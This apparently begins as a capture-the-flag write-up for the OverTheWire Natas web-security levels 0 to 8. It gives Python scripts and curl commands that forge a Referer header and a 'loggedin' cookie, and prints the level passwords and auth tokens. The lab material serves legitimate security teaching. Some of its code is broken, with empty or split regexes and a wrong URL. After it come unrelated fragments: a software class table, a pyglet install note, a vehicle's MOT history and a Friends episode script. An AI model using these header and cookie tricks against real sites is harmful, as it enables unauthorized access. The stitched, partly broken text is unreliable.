Natas Writeup
Table of Contents
- Intro Reading
- Natas teaches the basics of serverside web-security.
Each level of natas consists of its own website located at http://natasX.natas.labs.overthewire.org , where X is the level number. There is no SSH login. To access a level, enter the username for that level (e.g. natas0 for level 0) and its password.
Each level has access to the password of the next level. Your job is to somehow obtain that next password and level up. All passwords are also stored in /etc/natas_webpass/. E.g. the password for natas5 is stored in the file /etc/natas_webpass/natas5 and only readable by natas4 and natas5.
Start here:
To login to the first level:
Username: natas0
Password: natas0
URL: http://natas0.natas.labs.overthewire.org
- Level 0 -> Level 1
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Just do a page inspection to find the password

<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css">

natas0

You can find the password for the next level on this page.

Submit token

<form id="realwechallform" action="https://www.wechall.net/10-levels-on-Natas.html" enctype="application/x-www-form-urlencoded" method="post">
<input type="hidden" name="wfid" value="1">
<input type="hidden" name="password_solution"value="natas0">
<input type="hidden" name="igotitnow" value="Register">
</form>

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Following the python script to solve this challenge:
#!/usr/bin/env python3
import requests
import re
username = "natas0"
password = "natas0"
url = "http://{}.natas.labs.overthewire.org".format(username)
response = requests.get(url, auth= (username, password))
content = response.text
#print(content)
print(re.findall("", content)[0])
To login to the next level:
Username: natas1
Password: gtVrDuiDfck831PqWsLEZy5gyDz1clto
URL: http://natas0.natas.labs.overthewire.org
- Level 1 -> Level 2
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Again, do a page inspection to find the password but before disable the js of the page.

<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css">

natas1

You can find the password for the next level on this page, but rightclicking has been blocked!

Submit token

<form id="realwechallform" action="https://www.wechall.net/10-levels-on-Natas.html" enctype="application/x-www-form-urlencoded" method="post">
<input type="hidden" name="wfid" value="2">
<input type="hidden" name="password_solution" value="gtVrDuiDfck831PqWsLEZy5gyDz1clto">
<input type="hidden" name="igotitnow" value="Register">
</form>

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Following the python script to solve this challenge:
#!/usr/bin/env python3
import requests
import re
username = "natas1"
password = "gtVrDuiDfck831PqWsLEZy5gyDz1clto"
url = "http://{}.natas.labs.overthewire.org".format(username)
response = requests.get(url, auth= (username, password))
content = response.text
#print(content)
print(re.findall("", content)[0])
To login to the next level:
Username: natas2
Password: ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi
URL: http://natas2.natas.labs.overthewire.org
- Level 2 -> Level 3

<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css">

natas2

There is nothing on this page

Submit token

<form id="realwechallform" action="https://www.wechall.net/10-levels-on-Natas.html" enctype="application/x-www-form-urlencoded" method="post">
<input type="hidden" name="wfid" value="3">
<input type="hidden" name="password_solution" value="ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi">
<input type="hidden" name="igotitnow" value="Register">
</form>

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As we can see from the HTML code, there is a picture stored in files/pixel.png . If we address that link we found an image with one white pixel. What we can try here is to access only a portion of that path (just the /file part) and see if we can find something.
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As expected there is a users.txt file storing the password for the next level
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Following the python script to solve this challenge:
#!/usr/bin/env python3
import requests
import re
username = "natas2"
password = "ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi"
url = "http://{}.natas.labs.overthewire.org/files/users.txt".format(username)
response = requests.get(url, auth= (username, password))
content = response.text
#print(content)
print(re.findall("natas3:(.*)", content)[0])
To login to the next level:
Username: natas3
Password: sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
URL: http://natas3.natas.labs.overthewire.org
- Level 3 -> Level 4

<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css">

natas3

There is nothing on this page

Submit token

<form id="realwechallform" action="https://www.wechall.net/10-levels-on-Natas.html" enctype="application/x-www-form-urlencoded" method="post">
<input type="hidden" name="wfid" value="4">
<input type="hidden" name="password_solution" value="sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14">
<input type="hidden" name="igotitnow" value="Register">
</form>

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As we can see from the HTML code, this time there is nothing on the page. What we can try here, since the comment suggest us that not even Google can find it, it'is to see if there is the so called robots.txt file.
User-agent: *
Disallow: /s3cr3t/
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That's it. Let's navigate to /s3cr3t/ path; the password for the next level is into the users.txt file.
-
Following the python script to solve this challenge:
#!/usr/bin/env python3
import requests
import re
username = "natas3"
password = "sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14"
url = "http://{}.natas.labs.overthewire.org/s3cr3t/users.txt".format(username)
response = requests.get(url, auth= (username, password))
content = response.text
#print(content)
print(re.findall("natas4:(.*)", content)[0])
To login to the next level:
Username: natas4
Password: Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
URL: http://natas4.natas.labs.overthewire.org
- Level 4 -> Level 5

<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css">

natas4

Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"

Refresh page

Submit token

<form id="realwechallform" action="https://www.wechall.net/10-levels-on-Natas.html" enctype="application/x-www-form-urlencoded" method="post">
<input type="hidden" name="wfid" value="5">
<input type="hidden" name="password_solution" value="Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ">
<input type="hidden" name="igotitnow" value="Register">
</form>

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As the HTML code suggest us, the only way to access this page is by being natas5 user. In order to do this, we need to modify the header of the request, particularly the referer voice. There are two way to do this: one from the inspection panel under the netwotk tab, the other one by command line. For the second one, we need to copy the request as curl and paste in the terminal.
curl 'http://natas4.natas.labs.overthewire.org/index.php' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:74.0) Gecko/20100101 Firefox/74.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3' --compressed -H 'DNT: 1' -H 'Authorization: Basic bmF0YXM0Olo5dGtSa1dtcHQ5UXI3WHJSNWpXUmtnT1U5MDFzd0Va' -H 'Connection: keep-alive' -H 'Referer: http://natas5.natas.labs.overthewire.org/' -H 'Cookie: __utma=176859643.1359787830.1583506714.1585744212.1585749553.11; __utmc=176859643; __utmz=176859643.1585734323.8.4.utmcsr=ctf.cyberchallenge.it|utmccn=(referral)|utmcmd=referral|utmcct=/W04' -H 'Upgrade-Insecure-Requests: 1'
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Following the python script to solve this challenge:
#!/usr/bin/env python3
import requests
import re
username = "natas4"
password = "Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ"
headers = {"Referer" : "http://natas5.natas.labs.overthewire.org/"}
url = "http://{}.natas.labs.overthewire.org/".format(username)
response = requests.get(url, auth= (username, password), headers=headers)
content = response.text
#print(content)
print(re.findall("The password for natas5 is (.*)", content)[0])
To login to the next level:
Username: natas5
Password: iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
URL: http://natas5.natas.labs.overthewire.org
- Level 5 -> Level 6

<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css">

natas5

Access disallowed. You are not logged in

Submit token

<form id="realwechallform" action="https://www.wechall.net/10-levels-on-Natas.html" enctype="application/x-www-form-urlencoded" method="post">
<input type="hidden" name="wfid" value="6">
<input type="hidden" name="password_solution" value="iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq">
<input type="hidden" name="igotitnow" value="Register">
</form>

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As the HTML code suggest us, we are not logged in. After some web ispection, we found under the storage tab a cookie named loggedin set to 0. Again, as before, to set this to 1 we can change the value from the ispection panel or from command line.
curl 'http://natas5.natas.labs.overthewire.org/index.php' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:74.0) Gecko/20100101 Firefox/74.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3' --compressed -H 'DNT: 1' -H 'Authorization: Basic bmF0YXM1OmlYNklPZm1wTjdBWU9RR1B3dG4zZlhwYmFKVkpjSGZx' -H 'Connection: keep-alive' -H 'Cookie: __utma=176859643.1359787830.1583506714.1585744212.1585749553.11; __utmc=176859643; __utmz=176859643.1585734323.8.4.utmcsr=ctf.cyberchallenge.it|utmccn=(referral)|utmcmd=referral|utmcct=/W04; loggedin=1' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0'
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Following the python script to solve this challenge:
#!/usr/bin/env python3
import requests
import re
username = "natas5"
password = "iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq"
headers = {}
cookies = {"loggedin" : "1"}
url = "http://{}.natas.labs.overthewire.org/".format(username)
session = requests.Session()
response = session.get( url,
auth= (username, password),
headers=headers,
cookies=cookies)
content = response.text
#print(content)
print(re.findall(" natas6 is (.*)
", content)[0])
To login to the next level:
Username: natas6
Password: aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
URL: http://natas6.natas.labs.overthewire.org
- Level 6 -> Level 7
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This levele request us to find a password to submit inside the input secre field. By viewing the source code, the output is the following

<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />

natas6

<?
include "includes/secret.inc";
if(array_key_exists("submit", $_POST)) {
if($secret == $_POST['secret']) {
print "Access granted. The password for natas7 is <censored>";
} else {
print "Wrong secret";
}
}
?>
<form method=post>
Input secret:
<input name=secret>

<input type=submit name=submit>
</form>

View sourcecode

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As the HTML code inside
<? .. ?>
suggest, there is a file called secret.inc. Just by addressing that file we are able to get our secret which is hide inside the html code of the page. Insert it in the secret input field will give us the password for the next level.
To login to the next level:
Username: natas7
Password: 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
URL: http://natas7.natas.labs.overthewire.org
- Level 7 -> Level 8
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This time we are asked to find a password with apparently no hint in the homepage. By clicking both on Home or About and ispecting the HTML code we find that there is one:

<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css">

natas7

Home
About

 this is the about page

Submit token

<form id="realwechallform" action="https://www.wechall.net/10-levels-on-Natas.html" enctype="application/x-www-form-urlencoded" method="post">
<input type="hidden" name="wfid" value="8">
<input type="hidden" name="password_solution" value="7z3hEENjQtflzgnT29q7wAvMNfZdh0i9">
<input type="hidden" name="igotitnow" value="Register">
</form>

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Just adding the address at the end of the page give us our password for the next level
To login to the next level:
Username: natas8
Password: DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
URL: http://natas8.natas.labs.overthewire.org
- Level 8 -> Level 9
-
This challenge looks like natas6 challenge.

<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />

natas8

<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST['secret']) == $encodedSecret) {
print "Access granted. The password for natas9 is <censored>";
} else {
print "Wrong secret";
}
}
?>
<form method=post>
Input secret:
<input name=secret>

<input type=submit name=submit>
</form>

View sourcecode

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...
To login to the next level:
Username: natas9
Password:
URL: http://natas9.natas.labs.overthewire.org


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| Indexer | Base interface that declares methods for the Indexer. |
| Searchable | The interface declares methods which should be implemented by an object wishing to get indexed and being searchable. |
| SearchableDataStore | Datastores want to become indexable and searchable should implement this interface. |
| Searcher | Searcher interface. |
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| Constants | Constants used by annic classes. |
| Hit | Hit is a unit of result that is returned when user searches the annic index. |
| HTMLGenerator | This class provides methods to export the annic patterns to HTML. |
| Parser | This class provides utility methods to export the Hits to XML and read them back from XML to HIT objects. |
| Pattern | Pattern is an extension of the HIT class. |
| PatternAnnotation | Pattern Annotation is similar to a GATE Annotation except that it doesn't have any annotation ID but it contains its position in the token stream that is created when indexing documents. |
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You might want to experiment with pyglet and run the example programs before you install it on your development machine. To do this, add either the extracted pyglet source archive directory or the compressed runtime egg to your PYTHONPATH.
On Windows you can specify this from a command line:
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On Mac OS X, Linux or on Windows under cygwin using bash:
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MOT valid until 28 March 2018
Get a reminder emailRegistration LS10 HNH
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Colour Black
Date registered 30 April 2010
Check another vehicle
Incorrect details?
If you think the MOT expiry date or any of the vehicle details are wrong, contact DVSA
MOT history
Date tested 21 March 2017
PASS
Mileage 21,168
Expiry date 28 March 2018
Test location
Halfords Autocentre
160 Bromley Rd
London
SE6 2NZ
MOT test number 8533 4360 4217
Date tested 29 March 2016
PASS
Mileage 19,049
Expiry date 28 March 2017
Test location
Halfords Autocentre
160 Bromley Rd
London
SE6 2NZ
MOT test number 7035 8088 6645
Date tested 2 April 2015
PASS
Mileage 17,509
Expiry date 30 April 2016
Test location
Halfords Autocentre
160 Bromley Rd
London
SE6 2NZ
MOT test number 1277 4229 5481
Date tested 26 April 2014
PASS
Mileage 15,674
Expiry date 30 April 2015
Test location
Halfords Autocentre
160 Bromley Rd
London
SE6 2NZ
MOT test number 6360 9641 4186
Date tested 26 April 2014
FAIL
Mileage 15,674
MOT test number 8258 9651 4150
Test location
Halfords Autocentre
160 Bromley Rd
London
SE6 2NZ
Reasons for failure:
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What are these?
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Advisory notices are minor problems with the vehicle. If they become more serious they could cause the vehicle to fail its next MOT test.
Date tested 9 April 2013
PASS
Mileage 13,161
Expiry date 30 April 2014
Test location
Halfords Autocentre
160 Bromley Rd
London
SE6 2NZ
MOT test number 9163 3989 3094
Date tested 9 April 2013
FAIL
Mileage 13,161
MOT test number 5093 4989 3015
Test location
Halfords Autocentre
160 Bromley Rd
London
SE6 2NZ
Reasons for failure:
- Nearside Headlamp aim too low and too far to the left. (1.8)
What are these?
Failure items must be fixed before the vehicle can pass its MOT.
Advisory notices are minor problems with the vehicle. If they become more serious they could cause the vehicle to fail its next MOT test.


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Written by Sherry Bilsing-Graham & Ellen Plummer
Transcribed by Marita Bakken
[Scene: Joey and Rachel's apartment. Rachel is in the kitchen as Joey enters from his bedroom.]
Joey: Morning, roomie!
Rachel: Hey! You remembered to put clothes on this morning.
Joey: Fifth day's a charm.
Rachel: Oh, Joey, it's so great to be back here. I gotta tell you, you're making it so easy on me and Emma.
Joey: Hey, it's great having you back. You know, stay as long as you want, and when does she stop crying all night?
(Ross enters.)
Ross: Hey, you're not naked! So hey, Rach, when will we expect to see you tonight?
Rachel: Well, I'll probably be back to pick her up around six, but she's in the bedroom all ready to go. But she did actually fall back to sleep, so...
Joey: She's probably exhausted from all that adorable screaming she did last night.
Rachel: Bye!
(She leaves.)
Ross: Bye! Hey, I hope Emma isn't making it too hard on you.
Joey: No, hey, it's been great.
Ross: Yeah?
Joey: Yeah. And look, I just want you to know that with Rachel staying here and everything, all my feelings from before are totally over, okay? And even if they weren't, when you accidentally walk in on a woman using a breast pump...
Ross: Yeah, that'll do it.
Joey: Wow! So, how are you?
Ross: I'm, I'm okay.
Joey: Really?
Ross: Sure, I mean, do I wish me and Rachel living together would have worked out? Of course. You know, I'm disappointed, but it's not like it's a divorce.
Joey: Well, actually it...
Ross: No, it's not a divorce, it is not a divorce! Anyway, I think Rachel and I need to, you know, get on with our lives, maybe, maybe start seeing other people.
Joey: Wow, really?
Ross: Yeah, sure, why not? In fact, if you know anyone that would be good for me...
Joey: Sure, I know lots of girls.
Ross: Yeah? Any names come to mind?
Joey: Ooh, names?
Opening credits.
[Scene: Joey and Rachel's apartment. Joey is there as Phoebe enters.]
Phoebe: Hey.
Joey: Hey. I was just gonna get something to eat. You want something?
Phoebe: What you got?
Joey (checks the refrigerator): Okay, let's see, we got strained peas, strained carrots... Ooh! Strained plums. We haven't tried that yet.
Phoebe: Goodie! Thanks. So, how is it living with Rachel again? I mean, apart from the great food.
Joey: I'm fine, I'm fine, it's just, it's just weird what's happening with her and Ross. You know, yesterday he asked me to fix him up with somebody.
Phoebe: Oh my god, Rachel asked me if I knew anyone for her too.
Joey: Why are they doing this?
Phoebe: I don't know. They're so perfect for each other; it's crazy.
Joey: You know what's crazy? These jars. What is it, like two bites in here?
Phoebe: I just wish they'd realise they should be together.
Joey: I know, I know. And when they moved back in together, I figured y'know, that's where things were headed.
Phoebe: I know. They should be a family. They should get married and have more children.
Joey: Yes, and they should name one of their kids Joey. I may not have kids; someone's gotta carry on the family name.
Phoebe: You know what? Maybe once they start dating, and they see what's out there, they'll realise how good they are for each other.
Joey: Yeah, because it is slim pickings. I had this date last night: Yuck! But we should probably keep it down; she's still in the bedroom.
Phoebe: So, what are we gonna do? Are we just gonna go ahead and set them up with people?
Joey: I know; that just pushes them further and further apart.
Phoebe: Yeah. (BEAT) Oh, I know what we can do. We could set Ross and Rachel up on horrible dates, so that they'll realise how good they are together.
Joey: Ooh, that's a great plan!
Phoebe: Yeah, you know what the best part of it is? I get to do my "plan-laugh." (A maniacal laugh follows.)
(They both start laughing really loudly.)
Joey: Shhh! Not so loud, we don't wanna wake up, uh...
(He looks at his bedroom door, but he can't remember the name of the girl.)
[Scene: Monica and Chandler's apartment. They're in the kitchen as Rachel enters.]
Rachel: Hey!
Monica: Hey!
Rachel: You guys aren't doing anything tonight, are you?
Chandler: See, now, why would you assume that? Just because we're married? I will have you know that we are very hip, happening people. Now, if you'll excuse me, I have to get back to reading the obituaries.
Rachel: I was just asking 'cause I need someone to watch Emma tonight.
Monica: Sure, we'll do that. What are you up to?
Rachel: Well, Phoebe set me up on a date.
Monica: Oh my god.
Chandler: Wow.
Rachel: Why? What's the big deal?
Monica: Just figured, 'cause you and Ross are...
Rachel: What, slept together a year and a half ago? Yeah, I'm all set.
Chandler: Well, I think it's great that you're going on a date, you know? I mean, it sounds healthy. I mean, you have needs. Embrace your womanhood!
Monica: You want a job? Turn off "Oprah," and send out a resume!
Rachel: So I'll bring her by around seven? Is that okay?
Monica: Oh, it's perfect.
Rachel: Oh, you guys are gonna have so much fun! She's at such a cute age. Oh, a couple things. Now that she's eating solid food, she poops around the clock. And watch out for your hair, 'cause she likes to grab it.  Thanks, you guys. Have fun!
Chandler (reading the newspaper): Suddenly I wish I was reading my own name.
[Scene: Central Perk. Joey is drinking coffee by the counter as Phoebe enters.]
Phoebe: Ooh, Joey.
Joey: Hey.
Phoebe: Hey.
Joey: All right! Who is he?
Phoebe: Well, it's this guy I used to massage. And by massage, I mean hold down so he wouldn't turn over and flash me.
Joey (gives a thumbs up sign): Okay, okay. Wait till you hear who I got for Ross.
Phoebe: Oh, yeah.
(They sit down on the couch.)
Joey: She's this really boring woman. She's a teacher!
Phoebe: A teacher?
Joey: Yeah, yeah, she's really into history and foreign movies...  Huh?
Phoebe: Well, Ross does. What... You're - you're ruining the plan! Joey, you've - you've fixed him up with his perfect woman!

Phoebe: Yeah.
Joey: She even reads for pleasure!
Phoebe: How do you even know a woman like that?
Joey: What? I'm not allowed to know smart women?
Phoebe: Joey.
Joey: I met her at the library. I went in to pee.
Phoebe: So now what do we do?
Joey: Well, okay, I'll - I'll just call her and tell her the date's cancelled, and find him somebody else.
Phoebe: What if we don't find him somebody else? We'll just tell her the date's off, but we don't tell Ross, and he goes to the restaurant and gets stood up!
Joey: Ooh...I hear that's bad.
Phoebe: Ooh, so this is great! Rachel's gonna have a terrible date, Ross gets stood up, and then they'll realise how good they have it together.
Joey: Ah, yes, The Plan! (Laughs loudly again, but he sounds more like Santa Claus.)
Phoebe: It's not Santa's plan. No, it's... (Laughs the real "plan-laugh.")
(They both start laughing again.)

Phoebe: No, I think we killed it.
[Scene: Monica and Chandler's apartment. Emma is there in her playpen, while Chandler is behind the couch.]
Chandler: Emma? Emma? Look at me! Well, I think I'll go downstairs for a while.
(He does the ancient trick of going downstairs while behind the couch. As soon as he's out of sight, Emma starts crying.)
Chandler: No, no, no, no! No, no, no, no! It's okay, it's okay. I didn't go. Don't cry, it's just a bit! I'm your uncle Chandler; funny is all I have!
(Monica enters from their bedroom with a calendar.)
Monica: Okay, just so you know, I'm gonna be ovulating from tomorrow until the sixth, so don't touch yourself in the next 48 hours.
Chandler: I don't do that.
(Monica looks at him.)
Chandler: I'll try to stop. Wait, did you say until the sixth?
Monica: Yeah.
Chandler: Today is the sixth.
Monica: No, it's not.
(Points at the calendar.)
Chandler: Yes, it's also 2003.
Monica: Oh my god. Today's the sixth?! I may be done ovulating! I may have also served some very questionable meat at the restaurant.
Chandler: It's okay. Go take the test and see if we're okay.
Monica: Okay.
 Emma is silent, however.)
Chandler: Tough crib.
Monica: Hey, where are all my ovulation-sticks? There's only one here.
Chandler: I might have checked to see if I was ovulating a couple times.
Monica: Chandler!
Chandler: I am not working. There's not much to do around here!
[Scene: Delmonico's restaurant. Ross is waiting for his blind date to show up. A waiter walks past him.]
Ross: Excuse me, is there a woman waiting at the bar? Someone average height, dark hair, perhaps doing a puzzle?
Waiter: Uh, there's a drunk Chinese guy.
Ross: Well, if I'm still here in an hour, buy him a drink on me.

Ross: Nah, I don't know if I should. I don't wanna be drunk when I go home alone.
Waiter: Got stood up, huh?
Ross: Yeah, it's no big deal. It's just a blind date.
Waiter: Are you worried your date came, saw you, and left?
Ross: No!
(The waiter leaves.)
[Scene: Monica and Chandler's apartment. Monica emerges from the bathroom.]
Monica: We're okay. I'm still ovulating.
Chandler: Oh, good, because as of four o'clock this afternoon, I am not.
Monica: So, let's do this.
Chandler: I - I don't think I can.
Monica: Come on. I know you're not eighteen anymore, but give it a minute.
Chandler: Because of Emma.
Monica: Oh my god, Emma. Oh, sweetie, I forgot you were here. Oh, you're right, we can't do this. We can't leave her alone.
Chandler: Sorry.
Monica: Unless... Maybe we do it here. I mean, how much can she even be aware of at this age?
Chandler: Well, she's aware when we leave the room. She may notice if we start... canoodling in it.
Monica: Canoodling?
Chandler: Well, I can't say "hump" or "screw" in front of the B-A-B-Y.
Monica: I don't know.
Chandler: Horrifying? Scarring? Something people go to jail for?
Monica: I guess you're right.
Chandler: You guess I'm right?

[Scene: Another restaurant. Rachel is studying the menu together with her date, Steve. Steve is the stoned restaurateur from 115 TOW the Stoned Guy.]
Rachel: Wow, everything looks so good! I think I'm gonna have the chicken.
Steve (staring at Rachel): I - I just have to say this; you're really beautiful.
Rachel: Oh, well, that's - that's very sweet. Thank you.
Steve: I'm kind of funny looking.
Rachel: What?
Steve: Oh, come on, you're way out of my league. Everybody in here knows it. Bet that guy over there's probably saying, "ooh, why she out with him? He must be rich!" Well, I'm not!
Rachel (feeling awkward): So, what do think you wanna order? I'm really excited about that chicken.
Steve: I'm not funny either. So, if you were thinking, "well, he's not that good-looking, but maybe we'll have some laughs"... That ain't gonna happen.
Rachel: Well, come on, Steve; let's not rule out nervous laughter. Hey, now wait a minute. Phoebe told me that - that you owned your own restaurant. That's impressive.
Steve: I lost it. To drugs.

Steve: I silk-screen t-shirts now.
Rachel: Really? What's that like?
Steve: It's really fulfilling doing something you hate for no money. That's right. I have no money, I'm not funny, I live in a studio apartment with two other guys, and I'm pretty sure I'm infertile.
Rachel (awkward chuckle): Now, come on, come on, Steve. There must be something that you like about yourself.
Steve: I do like my hair.
Rachel: Really?
[Scene: Central Perk. Phoebe and Joey are there. Phoebe's cell phone rings.]
Phoebe: Hello?
(Rachel is still at the restaurant, but Steve is gone.)
Rachel: Phoebe, it's me.
Phoebe: Hey, Rach!
Rachel: This is the worst date ever. How could you set me up with this creep?
Phoebe: You know, you are talking about one of my dear, dear friends.
Rachel: I don't care! This guy is a nightmare!

Rachel: He's not stoned.
Phoebe: Did he go out for a cigarette?
Rachel: Yeah, four times.
Phoebe: My dear, sweet Rach.
(Rachel hangs up in disgust.)
Phoebe (to Joey): Well, our plan is working. Rachel is having a miserable time, and Ross is just stood up somewhere at a restaurant all alone.
Joey: Oh, great, pretty soon they'll be back together.
Phoebe: By the time anyone's figured out what we've done, we'll be in sunny Mexico. (BEAT) Oh, wait, that's the end of a different plan.
[Scene: Monica and Chandler's apartment. Emma has fallen asleep in her playpen, and Chandler has fallen asleep right next to her on the floor.
Monica: She's asleep. Chandler?
(Chandler wakes up and looks a bit confused when he finds that he has a pacifier in his mouth.)
Monica: What are you doing?
Chandler: Emma was doing it!
Monica: She's asleep.
Chandler: Ooh, she's asleep, that means we can...
Monica: Yes, but we have to be fast.
Chandler (laughs): Okay, I'll try. And you can't make any noise.
Monica (laughs): Okay, I'll try.
(They run to the bedroom and close the door carefully just as Joey enters.)
Joey: Hello?
(Emma starts making noises, and Joey walks over to her playpen.)
Joey: Emma? Hey! Hi!
(He picks her up.)
Joey: How are ya? How are ya? Where are your babysitters, huh? Why's the bedroom door closed?
(He walks over, but just before he knocks on the door, he hears some moans and looks shocked.)
Joey: You can't have S-E-X, when you're taking care of the B-A-B-I-E!
(He walks out quickly with Emma in his arms.)
[Scene: Delmonico's. Ross is still waiting for his date and drinking wine. The waiter comes up to him again.]
Waiter: I've got bad news. The Chinese guy left.
Ross: Eh, if it was meant to be, it's meant to be.
Waiter: Look; you got stood up, who cares? We're gonna show you a good time. Just sit and relax. In fact, let me bring you a crab cake appetizer on the house.
Ross: Wow, free crab cakes. Well, that's nice.
Waiter: Ooh...
(Ross sees the waiter looking at him.)
Ross: Just the crab cakes.
(Meanwhile, another waiter has come up to the first waiter.)
Waiter #2: What are you doing? Are you trying to get him to stay? Because you can't do that.
Waiter: Just get out of here, okay?
Ross: What's - what's going on?
Waiter: Eh, okay, the waiters have a little pool going. We have a bet on how long it'll take before you give up and go home.
Ross: What?
Waiter: Well, if you stay till 9:20, I am.
Ross: This is unbelievable.  Now, if you'll wrap up my free crab cakes, I'll be on my way.
[Scene: Monica and Chandler's apartment. They're done and come out of their bedroom. Emma is still gone.]
Monica: Well, that was weird. You were loud, and I was fast.
Chandler: I think we may have really done it this time.
Monica: Oh, I wish I didn't have to wait to take a pregnancy test.
Chandler: You may wanna get some more of those too.
(They walk over to the playpen.)
Chandler: Where's Emma?
Monica: Oh my god, where's Emma? Where's Emma?
Chandler: Don't ask me, I was in there canoodling you!
Monica: Okay, okay, I'm sure that Rachel came home early and picked up Emma.
Chandler: Okay. (Runs out.)
Monica: Hey, you better hope that we're pregnant, because one way or another, we're giving a baby back to Rachel.
[Scene: The street in front of Central Perk. Rachel and Steve are walking home from their date. Steve is sobbing.]

Rachel: No, no, no, I admire a man who can cry.
Steve: Really?
(He puts his hand on her shoulder.)
Rachel: Don't touch my coat!
(Her cell phone rings.)
Rachel: Oh, sorry, it's my phone. Hello?
Monica (on phone): Hey, Rach, how's it going?

(Steve starts crying loudly.)
Rachel (to Steve): Look, you know what, I'm sorry, but did you really think that this was going well? (To Monica.) What's up?
Monica: Hey, did you stop by here?
Rachel: No.
Monica: Oh my god, then...
(Joey and Chandler enter with Emma.)
Monica: Oh, thank god! Emma, there you are!
Rachel: What? What do you mean, "there you are"? Where was she?
Monica: Oh, we were playing "peek-a-boo." She just – she loves it when I'm dramatic.
(Monica hangs up, and Rachel looks at her phone.)

Joey: Because you two were having sex!
Monica: No, we weren't!
 I could tell by Chandler's hair. (To Chandler.) You are so lazy. Can't you get on top for once?
Chandler: All right, all right, we were. We were trying to make a baby. Monica's ovulating.
Joey: Hey!  I'm gonna have to tell Rachel about this.
(Joey starts to leave.)
Chandler: No, no, no.
Monica: No, please don't. Please, Joey.
Joey: Hey, I gotta! Unless...
Monica: Unless what?
Joey: Unless you name your firstborn child Joey.
Chandler: What? Why?
Joey: Hey, I may never have kids, and somebody's gotta carry on my family name.
Chandler: Your family name is Tribbiani.
Joey: (BEAT) (Laughs.) You almost had me.
(He leaves.)
[Scene: The street in front of Central Perk. Steve and Rachel are still there.]
Rachel: Well, uh...
Steve: Look, I think I know the answer to this question, but... Would you like to make love to me?
Rachel: Really, really not.
Steve: Eh, it's just as well. Doesn't work anyway.
Rachel: All right, well that's good to know. Good night, Steve.
(She walks over to Central Perk and enters to find Ross sitting on the couch, eating crab cakes. She takes off her coat while groaning and shuddering.)
Ross: Hey, what's wrong?
Rachel: I just had a rough night.
Ross: Oh. Crab cake?
Rachel: Eww!
Ross: Well, what happened?
Rachel: Oh, well, I...It's kind of weird talking to you about this, but...

Rachel: Yeah.
Ross: I did, too.
Rachel: Oh.
Ross: But is it technically a date if the other person doesn't show up?
Rachel: Oh, oh no. Do you think she walked in, saw you and left?
Ross: Why does everyone keep saying that?
Rachel: Well, if it makes you feel any better, I wish my date hadn't shown up.
Ross: That bad?
Rachel: Well, he makes t-shirts for a living, and he thought it would be appropriate to give me this.
(She holds up a black t-shirt with "FBI - Female Body Inspector" on the front.)
Ross: Female body inspector? What size is that?
[Cut to outside. Phoebe and Joey are walking down the street to Central Perk.]
Phoebe: Now, wait a minute. So, they're gonna name their first child Joey?
Joey: Uh-huh.
Phoebe: How - how do I get them to name the next one after me?
